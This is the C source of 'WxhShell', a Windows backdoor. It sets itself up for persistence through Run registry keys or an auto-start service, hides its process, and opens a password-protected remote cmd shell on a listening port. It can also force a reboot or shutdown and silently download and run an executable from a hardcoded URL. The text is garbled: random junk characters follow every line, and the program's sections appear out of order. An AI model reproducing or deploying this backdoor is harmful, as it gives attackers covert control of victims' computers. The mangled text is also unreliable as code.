    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6e0tA()F  
    if(Boot(SHUTDOWN)) y_boJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L_3Ao'SA  
    else { $L7Z_JD5  
    closesocket(wsh); k!l\|~  
    ExitThread(0); tBC`(7E}  
    } oJb${k<3  
    break; \H^DiF%f9  
    } r==d^  
  // 获取shell MwbXZb{#"=  
  case 's': { <ZO"0oz%  
    CmdShell(wsh); Vea2 oQq  
    closesocket(wsh); f 1s3pr??  
    ExitThread(0); U{/d dCf7  
    break; Z0HfrK#oU  
  } p5`iq~e9  
  // 退出 LK\L}<;1V  
  case 'x': { yuIy?K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Ta k',  
    CloseIt(wsh); B;x5os  
    break; ybNo`:8 A;  
    } WxLbf +0o  
  // 离开 M3 MB{cA2  
  case 'q': { Iv])s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g>` k9`  
    closesocket(wsh); LtIp,2GP&_  
    WSACleanup(); * -uA\  
    exit(1); Y;2WY 0eq  
    break; $eHYy,,  
        } }C-K0ba7  
  } .n$c+{  
  } U9"g;t+/   
FM$$0}X  
  // 提示信息 jN))|eD0x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _L?MYkD  
} (D2G.R\pr  
  } W]Bc7JM]T+  
#gW"k;7P  
  return; 8/W(jVO(-  
} 7PTw'+{  
nv$>iJ^~H  
// shell模块句柄 5j'7V1:2  
int CmdShell(SOCKET sock) jW]Q-  
{ BoJpf8e'-e  
STARTUPINFO si; bu0i #  
ZeroMemory(&si,sizeof(si)); zF: :?L~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M%&1j >d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +;r1AR1)x  
PROCESS_INFORMATION ProcessInfo; 0?V{u`*  
char cmdline[]="cmd"; 0zQ~'x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mIW8K ):  
  return 0; 75v7w  
} ^IQtXae6M  
DVJuX~'|!  
// 自身启动模式 gq%U5J"x;J  
int StartFromService(void) ^wass_8  
{ qwhDv+o  
typedef struct mVXwU](N  
{ R+sv?4k  
  DWORD ExitStatus; }%75 Wety  
  DWORD PebBaseAddress; z)%Ke~)<\@  
  DWORD AffinityMask; S\76`Ot  
  DWORD BasePriority; u~rPqBT{d3  
  ULONG UniqueProcessId; <JUumrEo  
  ULONG InheritedFromUniqueProcessId; c,>y1%V*S{  
}   PROCESS_BASIC_INFORMATION; {L'uuG\9U  
{CH5`&  
PROCNTQSIP NtQueryInformationProcess; /1@py~ZX  
!NqLBrcv0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &=f] a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qg6tJB   
xAwP  
  HANDLE             hProcess; af@R\"N9c  
  PROCESS_BASIC_INFORMATION pbi; tJe5`L  
-HwqR Y s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y^0 mf|  
  if(NULL == hInst ) return 0; +MR]h [  
xig4H7V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q$7w?(Lk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N)X 3pWC8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o[I s$j  
i/{dD"HwM  
  if (!NtQueryInformationProcess) return 0; mUan(iJ  
*""iXi[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hKVb#|$  
  if(!hProcess) return 0; Cl6P,C  
`y3*\l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }A}cq!I^  
0g8ykGyx  
  CloseHandle(hProcess); \B4f5 L8k  
_ <Ip0?N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U| T}0  
if(hProcess==NULL) return 0; k1'd';gQ  
wY]ejK$0R  
HMODULE hMod; `\beQ(g  
char procName[255]; -e\OF3 Td  
unsigned long cbNeeded; ]FNe&o1zX  
$bU.6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /&N\#;kK?b  
5X PoQ^  
  CloseHandle(hProcess); %)ri:Qq  
 eC[G4  
if(strstr(procName,"services")) return 1; // 以服务启动 :]icW ^%  
h[bC#(  
  return 0; // 注册表启动 3mQ3mV:  
} '7<^x>D|  
&t U&ZH  
// 主模块 {3T&6LA  
int StartWxhshell(LPSTR lpCmdLine) z? Iu;X  
{ AvVPPEryal  
  SOCKET wsl; v65]$%F?  
BOOL val=TRUE; lFp:F5  
  int port=0; vYybQ&E/  
  struct sockaddr_in door; FwE<_hq//  
v4qpE!W27~  
  if(wscfg.ws_autoins) Install(); #/"Tb ^c9  
C>Q|"Vf2  
port=atoi(lpCmdLine); %H[~V f?d  
V~_6t{L  
if(port<=0) port=wscfg.ws_port; Alv"D  
c!kzwc(  
  WSADATA data; %x./>-[t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +TW,!.NBG  
tUksIUYD\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cp?6vu|RA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >u\'k +=  
  door.sin_family = AF_INET; \WqC^Di  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x"7PnN|~  
  door.sin_port = htons(port); B?db`/G9  
n5 <B*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]k$:sX  
closesocket(wsl); qgs:9V xF  
return 1; W!+eJ!Da  
} d(j g "@  
[{0/'+;9  
  if(listen(wsl,2) == INVALID_SOCKET) { ;Kh[6{W  
closesocket(wsl); 8%`h:fE  
return 1; |['SiO$)  
}  Spw^h=o  
  Wxhshell(wsl); 9!PM1<p  
  WSACleanup(); HJ!!"  
2eRv{_  
return 0; 6>3zD)tG  
de9e7.(2  
} }Ui)xi:8  
\maj5VlJ  
// 以NT服务方式启动 x6Tpt^N}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HqI[]T@  
{ Y=i_2R2e2  
DWORD   status = 0; S\ K[l/  
  DWORD   specificError = 0xfffffff; z%]3`_I  
M96Nt&P`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g* -}9~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L'$({  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zbr1e5?  
  serviceStatus.dwWin32ExitCode     = 0; =Qn8Y`U  
  serviceStatus.dwServiceSpecificExitCode = 0; j*FpQiBoT  
  serviceStatus.dwCheckPoint       = 0; i!G<sfL  
  serviceStatus.dwWaitHint       = 0; hXD`OlX  
sZwa#CQKq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ld'3uM/  
  if (hServiceStatusHandle==0) return; tR .>d  
v5I5tzt*%H  
status = GetLastError(); L*P*^I^1  
  if (status!=NO_ERROR) u= Ga}  
{ NA YwuE-`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p m<K6I  
    serviceStatus.dwCheckPoint       = 0; _ t.E_K  
    serviceStatus.dwWaitHint       = 0; rcf#8  
    serviceStatus.dwWin32ExitCode     = status; =y^ g*9}_  
    serviceStatus.dwServiceSpecificExitCode = specificError; x&N@R?AG1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 29W`L2L  
    return; *CVI@:Q9  
  } Snq0OxS[v  
MM~4D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a ~k*Gd(  
  serviceStatus.dwCheckPoint       = 0; l xP!WP  
  serviceStatus.dwWaitHint       = 0; {M23a _t\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'N&s$XB,  
} :4>LtfA  
@sRb1+nn  
// 处理NT服务事件,比如:启动、停止 ?i\$U'2*z3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }5d|y*  
{ "/x/]Qx2  
switch(fdwControl) Of  nN  
{ m:g%5' qDZ  
case SERVICE_CONTROL_STOP: m[w~h\FS  
  serviceStatus.dwWin32ExitCode = 0; 9S?b &]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e63io0g>  
  serviceStatus.dwCheckPoint   = 0; ioslarw1J  
  serviceStatus.dwWaitHint     = 0; xw*/8.Md6f  
  { 0a+U >S#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "VeNc,-nfQ  
  } B~3qEdoK5`  
  return; r3YfY \  
case SERVICE_CONTROL_PAUSE: QaOF l` i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 y7$"N8Xo  
  break; m.U&O=]5  
case SERVICE_CONTROL_CONTINUE: V^\b"1X7N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?aZ\D g{  
  break; <2\Q Y  
case SERVICE_CONTROL_INTERROGATE: i;67< f}-  
  break; =I$:-[(  
}; j2|UuWU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^56#{~%^?  
} >SS979  
&qV_|f;  
// 标准应用程序主函数 QjsN7h&%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pS!N<;OWr  
{ b~+\\,q}  
F'55BY*!  
// 获取操作系统版本 ([hd  
OsIsNt=GetOsVer(); U6M&7 l8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r+n hm"9  
s=XqI@  
  // 从命令行安装 Uc j>gc=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ibgF,N  
<h~_7Dn  
  // 下载执行文件 "'c =(P  
if(wscfg.ws_downexe) { 6o GF6C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g1q%b%8T  
  WinExec(wscfg.ws_filenam,SW_HIDE); rgu7g  
} n{E + r  
1gH>B5`  
if(!OsIsNt) { Byns6k  
// 如果时win9x,隐藏进程并且设置为注册表启动 oX-h7;SD  
HideProc(); {Yt i  
StartWxhshell(lpCmdLine); 3 J\&t4q  
} 5{#ya 2  
else WoWBZ;+U  
  if(StartFromService()) U&6f:IV  
  // 以服务方式启动 gk"J+uM  
  StartServiceCtrlDispatcher(DispatchTable); 9riKSp:5  
else  ePI)~  
  // 普通方式启动 m6 a @Y<  
  StartWxhshell(lpCmdLine); Xx=.;FYk  
GnW_^$Fs  
return 0; -KCQ!0\F  
} V7>{,  
<V*M%YWs  
YwF\  
{q BbzBG  
===========================================  av!~B,  
wEIAU  
7A>glZ/x  
!'%`g,,r  
UyOoyyd.  
$@L}/MO  
" FuO'%3;c  
gx6$:j;   
#include <stdio.h> }!Xj{Eoc  
#include <string.h> xW'(]Z7_  
#include <windows.h> +tFl  
#include <winsock2.h> n]%yf9,w  
#include <winsvc.h> E9S&UU,K  
#include <urlmon.h> L3X[; |v}  
h+Tt+ Q\  
#pragma comment (lib, "Ws2_32.lib") f<( ysl1[  
#pragma comment (lib, "urlmon.lib") .Ue1}'v*,  
J+8T Ie  
#define MAX_USER   100 // 最大客户端连接数 Gw Z(3  
#define BUF_SOCK   200 // sock buffer qXQ7Jg9  
#define KEY_BUFF   255 // 输入 buffer 2o-Ie/"d\  
@&]%%o+  
#define REBOOT     0   // 重启 Qtn%h:i S~  
#define SHUTDOWN   1   // 关机 2aO.t  
Hh.l,Z7i7D  
#define DEF_PORT   5000 // 监听端口 [y$sJF7;I  
TfqQh!Y  
#define REG_LEN     16   // 注册表键长度 NpYzN|W:  
#define SVC_LEN     80   // NT服务名长度 eMDraJv@  
vh^,8pPy  
// 从dll定义API {KalVZX2R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fwi( qx1=}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u:D,\`;)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W%cJ#R[o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g"L$}#iTsl  
fRd^@@,[  
// wxhshell配置信息 v/WvT!6V`  
struct WSCFG { Gd%E337d  
  int ws_port;         // 监听端口 ~!W{C_*N  
  char ws_passstr[REG_LEN]; // 口令 _8"%nV  
  int ws_autoins;       // 安装标记, 1=yes 0=no qU,u(El  
  char ws_regname[REG_LEN]; // 注册表键名 6'qC *r   
  char ws_svcname[REG_LEN]; // 服务名 m%km@G$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TwXqk>J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YV>]c9!q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V3$Yr"rZ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IPT\d^|f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .`K<Iug1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |Ptv)D  
o Kfm=TbY  
}; [Dq!t1  
Qtpw0t"  
// default Wxhshell configuration DZ Q=Sinry  
struct WSCFG wscfg={DEF_PORT, myeez+@ m  
    "xuhuanlingzhe", Th)Z?\8zk  
    1, /<$\)|r  
    "Wxhshell", &*N;yW""f  
    "Wxhshell", * "Z5bKL  
            "WxhShell Service", [<M~6]  
    "Wrsky Windows CmdShell Service", Q)s[ls  
    "Please Input Your Password: ", _]whHS+  
  1, 6vQCghI  
  "http://www.wrsky.com/wxhshell.exe", !nkjp[p  
  "Wxhshell.exe" 5L4{8X0X8  
    }; 3KW4 ]qo~  
gK8{=A0c  
// 消息定义模块 X]OVc<F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xMu[#\Vc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5J4'\M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A7qKY-4B  
char *msg_ws_ext="\n\rExit."; hln.EAW'Yc  
char *msg_ws_end="\n\rQuit."; i#Y[I"'  
char *msg_ws_boot="\n\rReboot..."; mew,S)dq!  
char *msg_ws_poff="\n\rShutdown..."; @H^Yf  
char *msg_ws_down="\n\rSave to "; <,!e*V*U  
AsW!GdIN  
char *msg_ws_err="\n\rErr!"; sox0:9Oqnf  
char *msg_ws_ok="\n\rOK!"; $Dm2>:Dmt  
j!:^+F/  
char ExeFile[MAX_PATH]; 3b2[i,m<L  
int nUser = 0; lef,-{X-  
HANDLE handles[MAX_USER];  ]%L?b-e  
int OsIsNt; `i,l)X]  
*Jy'3o  
SERVICE_STATUS       serviceStatus; ZYy?JDAO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j%m9y_rg}  
`'Af`u\R  
// 函数声明 LzW8)<N  
int Install(void); 0//?,'.  
int Uninstall(void); K*_5M  
int DownloadFile(char *sURL, SOCKET wsh); m ["`Op4  
int Boot(int flag); dyz)22{\!`  
void HideProc(void); %9!, PeRe  
int GetOsVer(void); R"9^FQ13  
int Wxhshell(SOCKET wsl); {m )$b  
void TalkWithClient(void *cs); ""JTU6]MS  
int CmdShell(SOCKET sock); R>iRnrn:-  
int StartFromService(void); >vPDF+u  
int StartWxhshell(LPSTR lpCmdLine); <n)J~B^  
Az}.Z'LJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (HW!!xM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O#g'4 S  
U$fh ~w<[  
// 数据结构和表定义  TM1isZ  
SERVICE_TABLE_ENTRY DispatchTable[] = msyC."j0jU  
{ qBKRm0<W  
{wscfg.ws_svcname, NTServiceMain}, ;p !|E3o.  
{NULL, NULL} +EZ Lic  
}; SCCBTpmf2B  
*t JgQ[  
// 自我安装 vjcG F'-  
int Install(void) Pde|$!Jo  
{ S~9K'\vO  
  char svExeFile[MAX_PATH]; &?R2zfcM  
  HKEY key; PtUea  
  strcpy(svExeFile,ExeFile); `5V=U9zdE  
McRAy%{z  
// 如果是win9x系统,修改注册表设为自启动 8T7E.guYr  
if(!OsIsNt) { .K=r.tf~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?+]prbt)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3~I|KF7x  
  RegCloseKey(key); M?i U$qI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \{HbL,s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rff=ud>Jf  
  RegCloseKey(key); \pXs&}%1,F  
  return 0; h~]G6>D9)>  
    } OO Hw-MW  
  } ]ZD W+<  
} `u z R!^X  
else { "B~c/%#PH  
'@$YX*[  
// 如果是NT以上系统,安装为系统服务 OR&'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;#F/2UgHB  
if (schSCManager!=0) #mI{D\UR  
{ `K,{Y_  
  SC_HANDLE schService = CreateService L9|55z  
  ( Ho}"8YEXNV  
  schSCManager, J4yL"iMt  
  wscfg.ws_svcname, ZPktZ  
  wscfg.ws_svcdisp, 6`>WO_<z  
  SERVICE_ALL_ACCESS, </UUvMf"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f4JmY1)@  
  SERVICE_AUTO_START, ~6HpI0i  
  SERVICE_ERROR_NORMAL, jT~PwDSFt3  
  svExeFile, 6zmt^U   
  NULL, .^aakM  
  NULL, MM}lW-q;  
  NULL, iYqZBLf{S  
  NULL, cBZK t  
  NULL 4GA9oLl  
  ); x)Y?kVw21"  
  if (schService!=0) iP7 Cku}l  
  { toq/G,N Q  
  CloseServiceHandle(schService); @H{QHi  
  CloseServiceHandle(schSCManager); #DBg8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B-oQ 9[~  
  strcat(svExeFile,wscfg.ws_svcname); rd*`8B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5`TbM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RZ(*%b<C  
  RegCloseKey(key); \3M<_73  
  return 0; `&\jOve   
    } V`/ E$a1&  
  } UlG8c~p  
  CloseServiceHandle(schSCManager); p#5U[@TK  
} O_9M /[<  
} +3a} ~pW  
BHVC&F*>  
return 1; Lro[ |A  
} +-DF3(  
OcA_m.  
// 自我卸载 Q[j'FtP%  
int Uninstall(void) -B`Nkc  
{ scf.> K2  
  HKEY key; `D44I;e^1;  
($Cy-p  
if(!OsIsNt) { #%4XZ3j#j;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `!`g&:Y  
  RegDeleteValue(key,wscfg.ws_regname); }V:B,:  
  RegCloseKey(key); 3 291"0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GI+x,p  
  RegDeleteValue(key,wscfg.ws_regname); 6:fHPlqW  
  RegCloseKey(key); v r=va5  
  return 0; ans(^Up$  
  } *oby(D"p  
} \# p@ef  
} oO0dN1/  
else { /|<Pn!}J  
%DK0s(*w0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (yx^zW7  
if (schSCManager!=0) wMW."gM|  
{ RP@U0o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1zGD~[M  
  if (schService!=0) Oe)d|6=  
  { &kR*J<)V  
  if(DeleteService(schService)!=0) { jmp0 %:+L  
  CloseServiceHandle(schService); j*.K|77WHj  
  CloseServiceHandle(schSCManager); F@]9 oF  
  return 0; )j/2Z-Ev:W  
  } Tvd}5~ 5?  
  CloseServiceHandle(schService); x0KW\<k  
  } </hv{<  
  CloseServiceHandle(schSCManager); IP LKOT~  
} Q#Tg)5.\  
}  !^yH]v  
b<\2j5  
return 1; h SeXxSb:  
} .+07 Ui]I!  
-JEiwi,  
// 从指定url下载文件 J~]Y  
int DownloadFile(char *sURL, SOCKET wsh) H;h$k]T  
{ oe'f?IY  
  HRESULT hr; %,1xOl4l  
char seps[]= "/"; ]<3n;*8k?  
char *token; H zMr  
char *file; 9{GEq@`7  
char myURL[MAX_PATH]; _o52#Q4   
char myFILE[MAX_PATH]; %(uYYr 6  
xekU2u}WE  
strcpy(myURL,sURL); jIL+^{K<  
  token=strtok(myURL,seps); -;:.+1   
  while(token!=NULL) ,qT^e8E+  
  { 5K:'VX  
    file=token; .E:3I!dH7  
  token=strtok(NULL,seps); vg-Ah6BC{  
  } #n7F7X  
zA>LrtyK(=  
GetCurrentDirectory(MAX_PATH,myFILE); 2zV{I*  
strcat(myFILE, "\\"); :>|dE%/e$  
strcat(myFILE, file); y+aKk6(_W  
  send(wsh,myFILE,strlen(myFILE),0); [n2+`A  
send(wsh,"...",3,0); nO+-o;DbC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |AQU\BUj  
  if(hr==S_OK) ` pYyr/  
return 0; 2il`'X  
else o"V+W  
return 1; VnYcqeCm  
/szwVA  
} A_\`Gj!s%  
;e"dxAUe!^  
// 系统电源模块 Tc.QzD\  
int Boot(int flag) 0H +!v  
{ T4nWK!}z  
  HANDLE hToken; 9+iz+  
  TOKEN_PRIVILEGES tkp; .6=;{h4cpB  
i91 =h   
  if(OsIsNt) { ~m'8<B5+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h+ms%tNT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &z]x\4#,  
    tkp.PrivilegeCount = 1; U*:ju+)k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oj(st{,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;u-[%(00S  
if(flag==REBOOT) { 2<T/N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LPeVr^  
  return 0; -N'wKT5  
} F%:74.]Y  
else { l*$~Y0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .(&w/jR  
  return 0; _P` ^B  
} T)I\?hqTB  
  } <}p]0iA  
  else { WfXwI 'y  
if(flag==REBOOT) { q@^^jlHP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !,^y!+,Qy  
  return 0; 9sN#l  
} ;:,U]@  
else { bt};Pn{3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TILH[r&Jg  
  return 0; JvsL]yRT  
} p/qu4[Mm  
} P6I<M}p  
Yr*!T= z  
return 1; R.\]JvqO  
} 1=h5Z3/fj  
KO\-|#3y>  
// win9x进程隐藏模块 ' GUCXx  
void HideProc(void) v5 @9  
{ BM{*5Lf  
jLA)Y [h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y=aWSb2y'  
  if ( hKernel != NULL ) )<f4F!?,A  
  { gN2oUbf8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ["#H/L]3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *10qP?0H  
    FreeLibrary(hKernel); Om*(dK]zHQ  
  } RrT`]1".  
[1Aoj|  
return; T/.UMw  
} O ^!Bc}$  
 "D'rsEh  
// 获取操作系统版本 '5b0 K1$"  
int GetOsVer(void) EOZ 6F-':  
{ NM9,AG  
  OSVERSIONINFO winfo; njZJp|y6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {<$tEj:  
  GetVersionEx(&winfo); FUXJy{n6"2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) po(pi|  
  return 1; ilXKJJda  
  else D~bx'Wr+  
  return 0; 2rW9ja  
} w59q* 2  
P+Gz'  
// 客户端句柄模块 764eXh  
int Wxhshell(SOCKET wsl) Eg&:yF}?(  
{ Uq @].3nf  
  SOCKET wsh; *kpP )\P  
  struct sockaddr_in client; !x:{"  
  DWORD myID; U[2;Fkapi  
wwRPfr[  
  while(nUser<MAX_USER) eso-{W,D  
{ ($!uBF-b  
  int nSize=sizeof(client); 7n o6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $e2+O\.>  
  if(wsh==INVALID_SOCKET) return 1; C>'G?  
;B;@MD,B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [W*M#00_&4  
if(handles[nUser]==0) C4qK52'2s  
  closesocket(wsh); spTz}p^\O  
else +'Y?K]zbt  
  nUser++; '7}2}KD  
  } q7r b3d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Td|u-9OM  
Cn{v\Q~.4  
  return 0; ?0M$p  
} }30Sb &"  
pY[b[ezb  
// 关闭 socket YR? E z<p  
void CloseIt(SOCKET wsh) |h%HUau  
{ ,(-V<>/*.|  
closesocket(wsh); ~1E!Co  
nUser--; .jg@UAK  
ExitThread(0); xAl8e  
} .zl[nx[9"D  
<;yS&8  
// 客户端请求句柄 QVJpX;u  
void TalkWithClient(void *cs) Q"D5D rj  
{ '&hd^9]Lo  
2 S~(P  
  SOCKET wsh=(SOCKET)cs; IU5T5p  
  char pwd[SVC_LEN]; n$XEazUb0N  
  char cmd[KEY_BUFF]; :4-,Ru1C"  
char chr[1]; +Adk1N8  
int i,j; ^ >&#F[aT  
@C!&lrf3  
  while (nUser < MAX_USER) { NP\mzlI~@  
5jso)`IL  
if(wscfg.ws_passstr) { X.S<",a{qz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LGW:+c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fI`gF^u(  
  //ZeroMemory(pwd,KEY_BUFF); l$pz:m]Id  
      i=0; QuG"]$  
  while(i<SVC_LEN) { /g. c( -#]  
: .-z!  
  // 设置超时 vK@U K"m  
  fd_set FdRead; NiWAJ]Z  
  struct timeval TimeOut; zwU[!i)  
  FD_ZERO(&FdRead); T9%|B9FeJ  
  FD_SET(wsh,&FdRead); $'>JG9M  
  TimeOut.tv_sec=8; |U;O HS  
  TimeOut.tv_usec=0; 8 AFc=Wx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hi=</ Wy;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j5Da53c#^  
4_iA<}>|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1<1+nGO  
  pwd=chr[0]; GS=E6  
  if(chr[0]==0xd || chr[0]==0xa) { x>B\2;  
  pwd=0; ^\Z+Xq1~/  
  break; [T,^l#S1  
  } eUZk|be  
  i++; #) :.1Z?  
    } %cg| KB"l  
.{c7 I!8  
  // 如果是非法用户,关闭 socket =]-z?O6^`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ye=4<b_  
} A-:k4] {%P  
KpYezdPF)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @XolFOL"f"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &z1U0uk  
pZlsDM/=  
while(1) { $A9Pi"/*z  
O=V_ 7I5  
  ZeroMemory(cmd,KEY_BUFF); RqGX(Iuv  
aVHIU3  
      // 自动支持客户端 telnet标准   ^~-YS-.J#,  
  j=0; d,^ZH  
  while(j<KEY_BUFF) { RZV6;=/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f$\ O:E=  
  cmd[j]=chr[0]; &K60n6q{aQ  
  if(chr[0]==0xa || chr[0]==0xd) { ssx#|InY  
  cmd[j]=0; B7[d^Y60B  
  break; & nXE?-J  
  } -JF^`hBD-  
  j++; VqV[ @[P  
    } aIFlNS,y  
ih/E,B"  
  // 下载文件 / @"{u0  
  if(strstr(cmd,"http://")) { Q17dcgd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  |@'O3KA  
  if(DownloadFile(cmd,wsh)) /P@%{y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cZ?$_;=  
  else ~`QoBZ.O&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <fG\J  
  } s$>n U  
  else { M Zz21H  
:=;{w~D  
    switch(cmd[0]) { }R#W<4:  
